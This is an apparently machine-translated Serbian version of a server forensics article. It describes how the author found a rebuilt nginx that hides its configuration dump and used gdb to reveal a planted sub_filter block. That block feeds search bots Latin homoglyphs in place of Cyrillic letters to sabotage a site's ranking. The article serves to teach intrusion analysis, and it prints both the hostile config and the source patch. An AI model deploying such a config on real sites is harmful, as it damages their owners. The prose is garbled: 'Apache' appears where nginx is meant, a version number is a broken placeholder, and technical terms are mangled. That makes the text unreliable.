Када 'а' није једнако 'а'. После хаковања

Једном од мојих пријатеља догодила се најнепријатна прича. Али колико год се испоставило да је то било непријатно за Михаила, мени је то било подједнако забавно.

Морам рећи да је мој пријатељ прилично УНИКС-корисник: може сам да инсталира систем МиСКЛ, пхп и направите једноставна подешавања Апацхе.
И има десетак или један и по веб сајтова посвећених грађевинским алатима.

Један од ових сајтова посвећен моторним тестерама чврсто се налази у ТОП претраживача. Овај сајт је некомерцијални рецензент, али неко је стекао навику да га напада. То ДДоС, па груба сила, па ће писати непристојне коментаре и слати злоупотребе на хостинг и на РКН.
Одједном се све смирило и показало се да ово смирење није добро, а сајт је почео постепено да напушта горње редове резултата претраге.

Када 'а' није једнако 'а'. После хаковања

То је била изрека, а затим и сама админова прича.

Ближило се време за спавање када је зазвонио телефон: „Сан, нећеш ли погледати мој сервер? Чини ми се да сам хакован, не могу да докажем, али осећај ме не напушта већ трећу недељу. Можда је само време да се лечим од параноје?"

Уследила је получасовна дискусија која се може сажети на следећи начин:

  • тло за хаковање било је прилично плодно;
  • нападач може добити права суперкорисника;
  • напад (ако се догодио) био је циљано на ову локацију;
  • проблематична подручја су исправљена и само треба да схватите да ли је било продора;
  • хак није могао да утиче на код сајта и базе података.

Што се тиче последње тачке.

Када 'а' није једнако 'а'. После хаковања

Само бели фронтенд ИП гледа у свет. Нема размене између позадине и фронтенда осим хттп(ова), корисници/лозинке су различите, кључеви нису размењени. На сивим адресама, сви портови осим 80/443 су затворени. Беле позадинске ИП адресе су познате само двојици корисника, којима Михаил потпуно верује.

Инсталиран на фронтенд Дебиан КСНУМКС и до тренутка када је позив упућен, систем је изолован од света спољним заштитним зидом и заустављен.

„У реду, дајте ми приступ“, одлучујем да одложим сан на сат времена. "Видећу својим очима."

Овде и даље:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

Тражи се могући хак

Покрећем сервер, први улази ресцуе-моде. Монтирам дискове и прелиставам их аутх-дневници, историја, системске евиденције итд., кад год је могуће, проверавам датуме креирања фајла, мада разумем да би обичан крекер „помео“ за собом, а Миша је већ доста „загазио“ док је тражио себе .

Почињем у нормалном режиму, још не разумем шта да тражим, проучавам конфигурације. Пре свега, занима ме Апацхе пошто, генерално, не постоји ништа друго на фронтенду осим њега.
Конфигурације су мале, добро структуриране у десетак фајлова, само их прегледам мачка'ох један по један. Чини се да је све чисто, али никад се не зна да ли сам нешто пропустио обухватити, дозволите ми да направим потпуну листу:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

Нисам разумео: „Где је списак?“

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

Друго питање се додаје на питање листе: „Зашто тако древна верзија нгинк-а?“

Поред тога, систем верује да је најновија верзија инсталирана:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

Зовем:
- Миша, зашто си поново саставио Апацхе?
- Чекај, не знам ни како да ово урадим!
- Добро, па иди на спавање...

Нгинк јасно је поново изграђен и излаз листинга који користи „-Т“ је скривен са разлогом. Више нема сумње око хаковања и можете једноставно то прихватити и (пошто је Миша ионако заменио сервер новим) сматрати да је проблем решен.

И заиста, пошто је неко добио права корен'ах, онда једино има смисла радити поново инсталирати систем, и бескорисно је било тражити шта ту није у реду, али овога пута радозналост је победила сан. Како да сазнамо шта су хтели да сакрију од нас?

Хајде да покушамо да пратимо:

$ strace nginx -T

Гледамо, очигледно нема довољно линија у трагу а ла

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Само ради забаве, упоредимо налазе.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Мислим да је део кодекса /срц/цоре/нгинк.ц

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

је доведен у форму:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

или

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

стога се листа са "-Т" не приказује.

Али како можемо да видимо нашу конфигурацију?

Ако је моја мисао тачна и проблем је само у променљивој нгк_думп_цонфиг Покушајмо да га инсталирамо користећи гдб, на срећу постоји кључ --витх-цц-опт -g представити и надамо се да оптимизација -О2 неће нам шкодити. Истовремено, пошто не знам како нгк_думп_цонфиг могао бити обрађен у случај 'Т':, нећемо звати овај блок, већ га инсталирати користећи случај 'т':

Зашто можете користити '-т' као и '-Т'Обрада блокова иф(нгк_думп_цонфиг) дешава унутра иф(нгк_тест_цонфиг):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Наравно, ако се код промени у овом делу а не у случај 'Т':, онда мој метод неће радити.

Тестирајте нгинк.цонфНакон што је проблем већ експериментално решен, установљено је да је потребна минимална конфигурација да би малвер радио Апацхе тип:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Користићемо га ради краткоће у чланку.

Покрените програм за отклањање грешака

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

Кораци:

  • поставите тачку прекида у функцији главни()
  • покренути програм
  • промените вредност променљиве која одређује излаз конфигурације нгк_думп_цонфиг=1
  • наставити/завршити програм

Као што видимо, права конфигурација се разликује од наше, из ње бирамо паразитски комад:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Хајде да погледамо шта се овде дешава по реду.

Одлучан Усер-агент'с иандек/гоогле:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Странице услуга су искључене ВордПресс:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

И за оне који потпадају под оба горе наведена услова

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

у тексту ХТМЛ-странице се мењају 'О' на 'о' и 'А' на 'а':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Тако је, једина суптилност је то 'а' != 'а' баш као 'о' != 'о':

Када 'а' није једнако 'а'. После хаковања

Тако ботови претраживача уместо нормалног 100% ћириличног текста добијају модификовано ђубре разводњено латиницом 'а' и 'о'. Не усуђујем се да расправљам о томе како ово утиче на СЕО, али је мало вероватно да ће таква збрка слова имати позитиван утицај на позиције у резултатима претраге.

Шта да кажем, момци са маштом.

референце

Отклањање грешака са ГДБ
гдб(1) — страна упутства за Линук
страце(1) — Линук ман страница
Нгинк - Модул нгк_хттп_суб_модуле
О тестерама, моторним и електричним тестерама

Извор: ввв.хабр.цом

Додај коментар